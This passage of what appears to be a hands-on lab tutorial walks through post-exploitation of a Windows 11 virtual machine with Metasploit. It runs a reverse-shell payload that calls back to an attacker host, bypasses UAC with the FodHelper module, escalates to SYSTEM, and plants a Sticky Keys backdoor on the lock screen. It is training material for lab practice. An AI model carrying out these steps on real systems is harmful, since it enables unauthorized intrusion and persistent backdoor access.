src="https://substackcdn.com/image/fetch/$s_!YZ2H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png" width="1434" height="1398" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1398,&quot;width&quot;:1434,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1362107,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YZ2H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 424w, https://substackcdn.com/image/fetch/$s_!YZ2H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 848w, https://substackcdn.com/image/fetch/$s_!YZ2H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 1272w, https://substackcdn.com/image/fetch/$s_!YZ2H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 5: Delivering and Executing the Payload on the Target</strong></h3><p>Switch to the Windows 11 target machine and log in to the admin account.</p><p>Once logged in, open Mozilla Firefox or another web browser of your choice. In the address bar, type the URL of your Parrot machine and press Enter:</p><pre><code>http://10.10.1.13/share

Note: Your IP may differ to find your IP, refer to your VM machine settings, or use the ifconfig command (Linux) or __ (Windows). (EDIT)</code></pre><p>This will display the contents of the shared folder on the Parrot Security machine. You should see the Windows.exe file that you placed there earlier.</p><p>Click on Windows.exe to download the file to the Windows machine. Once the download completes, navigate to the Downloads folder and locate the Windows.exe file. Double-click the file to execute it.</p><p>If Windows displays an Open File Security Warning dialog, click Run to allow the executable to run. This action triggers the payload, which establishes a connection back to your Metasploit listener.</p><p>Leave the Windows 11 machine running with the payload active and switch back to the Parrot Security machine.</p><div><hr></div><h3><strong>Part 6: Verifying the Meterpreter Session</strong></h3><p>When you return to the Parrot Security machine, you should see that a Meterpreter session has been successfully established. </p><p>The Metasploit console will display a message indicating that a new session has opened.</p><p>To confirm the connection and gather information about the target system, run the following commands:</p><p>First, retrieve system information: </p><pre><code><code>sysinfo</code></code></pre><p>This command displays details about the target machine, including the computer name, operating system version, architecture, and domain membership.</p><p>Next, check your current user context: </p><pre><code><code>getuid</code></code></pre><p>This command shows which user account the Meterpreter session is running under. At this point, you likely have standard user privileges, which limits what actions you can perform on the system.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!h_Dw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!h_Dw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 424w, https://substackcdn.com/image/fetch/$s_!h_Dw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 848w, https://substackcdn.com/image/fetch/$s_!h_Dw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 1272w, https://substackcdn.com/image/fetch/$s_!h_Dw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!h_Dw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png" width="1412" height="480" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:480,&quot;width&quot;:1412,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:492116,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!h_Dw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 424w, https://substackcdn.com/image/fetch/$s_!h_Dw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 848w, https://substackcdn.com/image/fetch/$s_!h_Dw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 1272w, https://substackcdn.com/image/fetch/$s_!h_Dw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff75cdd78-f828-4c6c-aabd-b72172bd00e3_1412x480.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 7: Bypassing User Account Control</strong></h3><p>Windows User Account Control is a security feature that prevents unauthorized changes to the operating system. </p><p>Even though you have a Meterpreter session, UAC may be blocking you from gaining full access to the machine. To proceed with the exploitation, you need to bypass this protection.</p><p>First, send your current Meterpreter session to the background so you can load additional modules: </p><pre><code><code>background</code></code></pre><p>Search for available UAC bypass modules within Metasploit: </p><pre><code><code>search bypassuac</code></code></pre><p>This search returns a list of modules designed to circumvent UAC protection. For this exercise, you will use the FodHelper Registry Key bypass technique, which exploits a vulnerability in the Windows Features on Demand Helper.</p><p>Load the bypass module: </p><pre><code><code>use exploit/windows/local/bypassuac_fodhelper</code></code></pre><p>Specify which session to target with this exploit: </p><pre><code><code>set session 1</code></code></pre><p>Review the module options to ensure everything is configured correctly: </p><pre><code><code>show options</code></code></pre><p>Set your local host address: </p><pre><code><code>set LHOST 10.10.1.13</code></code></pre><p>Set the target identifier (0 represents the default target): </p><pre><code><code>set TARGET 0</code></code></pre><p>Execute the bypass exploit: </p><pre><code><code>exploit</code></code></pre><p>If successful, the exploit will create a new Meterpreter session that has bypassed UAC restrictions. You should see a message indicating that a new session has been opened.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OHU3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OHU3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 424w, https://substackcdn.com/image/fetch/$s_!OHU3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 848w, https://substackcdn.com/image/fetch/$s_!OHU3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 1272w, https://substackcdn.com/image/fetch/$s_!OHU3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OHU3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png" width="1456" height="767" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:767,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:987305,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OHU3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 424w, https://substackcdn.com/image/fetch/$s_!OHU3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 848w, https://substackcdn.com/image/fetch/$s_!OHU3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 1272w, https://substackcdn.com/image/fetch/$s_!OHU3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdab21-6604-43f8-856b-ba9425c52925_1568x826.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 8: Elevating to System-Level Privileges</strong></h3><p>With UAC bypassed, you can now attempt to elevate your privileges to the highest level available on a Windows system: SYSTEM. This level of access gives you complete control over the machine.</p><p>Run the following command to elevate privileges: </p><pre><code><code>getsystem -t 1</code></code></pre><p>Verify that the privilege escalation was successful by checking your user context again: </p><pre><code><code>getuid</code></code></pre><p>The output should now show NT AUTHORITY\SYSTEM, confirming that your Meterpreter session is running with the highest possible privileges on the Windows machine.</p><p>Before proceeding to the next phase, background this elevated session: </p><pre><code><code>background</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kU6G!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kU6G!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 424w, https://substackcdn.com/image/fetch/$s_!kU6G!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 848w, https://substackcdn.com/image/fetch/$s_!kU6G!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 1272w, https://substackcdn.com/image/fetch/$s_!kU6G!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kU6G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png" width="1456" height="284" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:284,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:416547,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kU6G!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 424w, https://substackcdn.com/image/fetch/$s_!kU6G!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 848w, https://substackcdn.com/image/fetch/$s_!kU6G!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 1272w, https://substackcdn.com/image/fetch/$s_!kU6G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cad051-b219-44c5-b6d8-ef068b746088_1568x306.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div><hr></div><h3><strong>Part 9: Deploying the Sticky Keys Exploit</strong></h3><p>Now that you have system-level access, you can modify the Windows system to provide persistent access through the Sticky Keys feature. Metasploit includes a post-exploitation module specifically designed for this purpose.</p><p>Load the Sticky Keys module: </p><pre><code><code>use post/windows/manage/sticky_keys</code></code></pre><p>Display all active Meterpreter sessions to identify which one to use: </p><pre><code><code>sessions -i</code></code></pre><p>You should see multiple sessions listed. Select the elevated session that has SYSTEM privileges: </p><pre><code><code>set session 2</code></code></pre><p>Execute the Sticky Keys exploit: </p><pre><code><code>exploit</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eDXA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eDXA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 424w, https://substackcdn.com/image/fetch/$s_!eDXA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 848w, https://substackcdn.com/image/fetch/$s_!eDXA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 1272w, https://substackcdn.com/image/fetch/$s_!eDXA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eDXA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png" width="1456" height="747" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:747,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1165530,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eDXA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 424w, https://substackcdn.com/image/fetch/$s_!eDXA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 848w, https://substackcdn.com/image/fetch/$s_!eDXA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 1272w, https://substackcdn.com/image/fetch/$s_!eDXA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed74ab2f-09b6-43c9-8fb6-a54e9cb3f715_1860x954.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This module replaces the Sticky Keys executable with a command prompt, meaning that whenever someone triggers Sticky Keys on the target machine, they will receive a command prompt with SYSTEM privileges instead of the normal accessibility dialog.</p><div><hr></div><h3><strong>Part 10: Verifying Persistent Access</strong></h3><p>To confirm that the Sticky Keys exploit was successful, switch back to the Windows 11 machine.</p><p>Sign out of the Admin account by clicking the Start menu, selecting the user icon, and choosing Sign out.</p><p>Sign into the unprivileged user account. This should be a standard user account without any administrative privileges, which makes this test more meaningful.</p><p>After logging in as an unprivileged user, lock the system by pressing the Windows key and L together, or by selecting Lock from the Start menu.</p><p>From the lock screen, press the Shift key five times in rapid succession. Normally, this action would trigger the Sticky Keys accessibility dialog. However, because of the exploit you deployed, a Command Prompt window will appear instead.</p><p>Important: If your host machine (the physical computer you are using) displays its own Sticky Keys prompt, dismiss it by clicking No or Cancel. This prompt is from your local operating system and is unrelated to the virtual machine.</p><p>In the Command Prompt window that appears on the Windows lock screen, type the following command and press Enter: </p><pre><code><code>whoami</code></code></pre><p>The output should display NT AUTHORITY\SYSTEM, proving that you have obtained system-level access directly from the lock screen without needing to log in. This demonstrates successful persistent access to the target system through the Sticky Keys exploit.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PK7B!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PK7B!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 424w, https://substackcdn.com/image/fetch/$s_!PK7B!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 848w, 